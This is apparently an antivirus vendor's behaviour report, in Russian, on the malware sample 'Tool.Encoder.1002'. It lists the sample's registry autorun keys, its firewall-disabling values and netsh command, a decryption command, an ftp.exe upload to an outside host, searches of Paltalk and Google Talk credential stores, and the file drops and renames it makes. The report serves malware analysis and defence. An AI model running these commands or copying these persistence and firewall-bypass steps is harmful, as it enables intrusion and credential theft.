Tool.Encoder.1002

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat7' = '"C:\Users\Public\Public Document\mdej.exe"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'stat2' = '%ALLUSERSPROFILE%\Msn\Msn2\aagj.bat'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat' = '%ALLUSERSPROFILE%\Msn\Msn2\aagj.bat'

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Создает и запускает на исполнение:

'C:\users\public\Public Document\AdobeR.exe' -f "amsn.klc"
'C:\users\public\Public Document\AdobeT.exe' -f "wmsn.klc"
'C:\users\public\Public Document\AcrobaP.exe'
'C:\users\public\Public Document\crb.exe' -d -p A1B2C3D4KD7123LS400S500201322419s080897654321 bar.zip.aes
'C:\users\public\Public Document\unzip.exe' -o bar.zip
'C:\users\public\Public Document\AcrobatR.exe' "wmsn.klb"

Запускает на исполнение:

'<SYSTEM32>\attrib.exe' +r +a +s +h "%ALLUSERSPROFILE%\Msn"
'<SYSTEM32>\netsh.exe' firewall set opmode disable
'<SYSTEM32>\ipconfig.exe' /all
'<SYSTEM32>\attrib.exe' +r +a +s +h "%ALLUSERSPROFILE%\Msn\Msn2"
'<SYSTEM32>\ftp.exe' -i -v -s:202.lmn ftp.freehostia.com
'%WINDIR%\regedit.exe' /s "cogj.reg"
'<SYSTEM32>\attrib.exe' +r +a +s +h "C:\users\public\public document"
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\shell32.dll,OpenAs_RunDLL C:\users\public\Public Document\docs.pdf
'<SYSTEM32>\cmd.exe' /c ""C:\users\public\Public Document\Adobe.bat" "
'<SYSTEM32>\wscript.exe' "C:\users\public\Public Document\tsbe.vbs"
'<SYSTEM32>\taskkill.exe' /f /im AcrobaP.exe
'<SYSTEM32>\xcopy.exe' /h /e /r /k /c /q /y *.* "%ALLUSERSPROFILE%\Msn\Msn2"
'<SYSTEM32>\cmd.exe' /c ""C:\users\public\Public Document\icj.bat" "
'<SYSTEM32>\wscript.exe' "C:\users\public\Public Document\saj.vbs"

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:

[<HKCU>\Software\Paltalk]
[<HKCU>\Software\Google\Google Talk\Accounts]

Изменения в файловой системе:

Создает следующие файлы:

%ALLUSERSPROFILE%\Msn\Msn2\cogj.reg
%ALLUSERSPROFILE%\Msn\Msn2\AdobeT.exe
%ALLUSERSPROFILE%\Msn\Msn2\dj.vbs
%ALLUSERSPROFILE%\Msn\Msn2\icj.bat
%ALLUSERSPROFILE%\Msn\Msn2\docs.pdf
%ALLUSERSPROFILE%\Msn\Msn2\aagj.bat
%ALLUSERSPROFILE%\Msn\Msn2\202.lmn
%ALLUSERSPROFILE%\Msn\Msn2\AcrobaP.exe
%ALLUSERSPROFILE%\Msn\Msn2\AdobeR.exe
%ALLUSERSPROFILE%\Msn\Msn2\AcrobatR.exe
%ALLUSERSPROFILE%\Msn\Msn2\iej.bat
C:\users\public\Public Document\amsn.klc
C:\users\public\Public Document\wmsn.klb
C:\users\public\Public Document\wmsn.klc
C:\users\public\Public Document\msn.klc
%ALLUSERSPROFILE%\Msn\Msn2\keeprun.ini
%ALLUSERSPROFILE%\Msn\Msn2\iewj.bat
%ALLUSERSPROFILE%\Msn\Msn2\saj.vbs
C:\users\public\Public Document\adip.klc
%ALLUSERSPROFILE%\Msn\Msn2\tsbe.vbs
C:\users\public\Public Document\crb.pdf
C:\users\public\Public Document\bar.zip.aes
%ALLUSERSPROFILE%\Application Data\o3IIr0iSb\PCGWIN32.LI5
C:\users\public\Public Document\aagj.bat
C:\users\public\Public Document\bar.zip
C:\users\public\Public Document\tsbe.vbs
C:\users\public\Public Document\docs.pdf
C:\users\public\Public Document\unzip.pdf
C:\users\public\Public Document\Adobe.bat
C:\users\public\Public Document\202.pdf
C:\users\public\Public Document\AcrobaP.pdf
C:\users\public\Public Document\iej.bat
C:\users\public\Public Document\icj.bat
C:\users\public\Public Document\iewj.bat
C:\users\public\Public Document\saj.vbs
C:\users\public\Public Document\keeprun.ini
C:\users\public\Public Document\AdobeR.pdf
C:\users\public\Public Document\AcrobatR.pdf
C:\users\public\Public Document\AdobeT.pdf
C:\users\public\Public Document\dj.vbs
C:\users\public\Public Document\cogj.reg

Присваивает атрибут 'скрытый' для следующих файлов:

%ALLUSERSPROFILE%\Application Data\o3IIr0iSb\PCGWIN32.LI5

Удаляет следующие файлы:

C:\users\public\Public Document\unzip.exe
C:\users\public\Public Document\crb.exe
C:\users\public\Public Document\bar.zip.aes
C:\users\public\Public Document\bar.zip

Перемещает следующие файлы:

C:\users\public\Public Document\wmsn.klc в C:\users\public\Public Document\001_201427We_141153.038
C:\users\public\Public Document\wmsn.klb в C:\users\public\Public Document\001_201427We_141153.037
C:\users\public\Public Document\msn.klc в C:\users\public\Public Document\001_201427We_141153.036
C:\users\public\Public Document\AdobeT.exe в C:\users\public\Public Document\AdobeT.pdf
C:\users\public\Public Document\AdobeR.exe в C:\users\public\Public Document\AdobeR.pdf
C:\users\public\Public Document\AcrobatR.exe в C:\users\public\Public Document\AcrobatR.pdf
C:\users\public\Public Document\AcrobaP.pdf в C:\users\public\Public Document\AcrobaP.exe
C:\users\public\Public Document\202.pdf в C:\users\public\Public Document\202.lmn
C:\users\public\Public Document\crb.pdf в C:\users\public\Public Document\crb.exe
C:\users\public\Public Document\unzip.pdf в C:\users\public\Public Document\unzip.exe
C:\users\public\Public Document\AdobeT.pdf в C:\users\public\Public Document\AdobeT.exe
C:\users\public\Public Document\AdobeR.pdf в C:\users\public\Public Document\AdobeR.exe
C:\users\public\Public Document\AcrobatR.pdf в C:\users\public\Public Document\AcrobatR.exe